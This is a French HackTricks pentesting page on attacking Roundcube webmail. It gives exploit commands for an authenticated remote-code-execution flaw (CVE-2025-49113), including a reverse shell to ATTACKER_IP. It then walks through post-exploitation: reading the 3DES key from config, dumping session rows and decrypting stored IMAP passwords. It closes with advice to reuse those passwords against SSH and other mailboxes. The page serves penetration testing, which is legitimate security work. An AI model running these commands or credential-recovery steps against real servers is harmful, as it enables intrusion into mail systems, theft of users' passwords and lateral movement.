Roundcube

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Overview

Roundcube est un client webmail PHP fréquemment exposé sur des vhosts HTTP(S) (e.g., mail.example.tld). Empreintes utiles :

  • Le code source HTML often leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
  • Chemin d’application par défaut dans containers/VMs: /var/www/html/roundcube
  • Configuration principale: config/config.inc.php

Authenticated RCE via PHP object deserialization (CVE-2025-49113)

Affected versions (per vendor/NVD):

  • 1.6.x before 1.6.11
  • 1.5.x before 1.5.10

Résumé du bug

  • Le paramètre _from dans program/actions/settings/upload.php n’est pas validé, ce qui permet l’injection de données contrôlées par l’attaquant que Roundcube désérialise ensuite, conduisant à l’exécution d’une gadget chain et à du remote code execution dans le contexte web (post‑auth).

Exploitation rapide

  • Pré-requis : identifiants Roundcube valides et une URL d’UI accessible (e.g., http://mail.target.tld)
  • Un PoC public automatise la gestion des sessions, le gadget crafting et l’upload flow
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD

# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"

# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"

Remarques

  • La sortie est souvent aveugle ; utilisez sleep N pour valider RCE
  • Le shell obtenu s’exécute généralement en tant que www-data ; sur des déploiements containerisés, attendez-vous à /.dockerenv et au réseau 172.17.0.0/16

Post‑exploitation : récupérer les mots de passe IMAP des sessions Roundcube

Roundcube stocke le mot de passe IMAP de l’utilisateur courant dans la session (base de données), chiffré avec la clé 3DES côté serveur configurée dans config.inc.php. Avec un accès au système de fichiers ou à la DB de l’hôte Roundcube, vous pouvez récupérer les mots de passe en clair et pivoter vers d’autres boîtes mail/services (réutilisation SSH courante).

  1. Lire le DSN DB et la clé 3DES depuis la config

config/config.inc.php typically contains:

$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
  1. Se connecter à la DB et dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube

mysql> SELECT id, created, changed, vars FROM session\G

Le champ session.vars est un blob Base64 produit par Roundcube’s encrypt(): Base64( IV || 3DES-CBC(plaintext) ). Les 8 premiers octets après le décodage Base64 sont l’IV.

  1. Localiser le champ password

Un moyen rapide pour repérer le credential à l’intérieur de la structure déchiffrée est d’abord de décoder en Base64 le champ vars et d’examiner visuellement les entrées sérialisées :

echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
  1. Déchiffrer en utilisant le helper de Roundcube

Roundcube fournit une CLI qui utilise la même logique rcmail->decrypt() et la des_key configurée:

cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
  1. Déchiffrement manuel 3DES-CBC (optionnel)
  • Format du texte chiffré : Base64( IV(8B) || CT )
  • Algorithme : 3DES-CBC, longueur de clé 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv

Emplacements courants

  • DB table: session (la table users associe les login names aux IDs)
  • Config path: /var/www/html/roundcube/config/config.inc.php

Utilisation opérationnelle

  • Les anciennes lignes de session contiennent souvent les mots de passe IMAP des utilisateurs précédents ; décryptez plusieurs entrées pour vous déplacer latéralement vers d’autres boîtes aux lettres
  • Testez les identifiants récupérés contre SSH ou d’autres services si une réutilisation des identifiants est suspectée

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks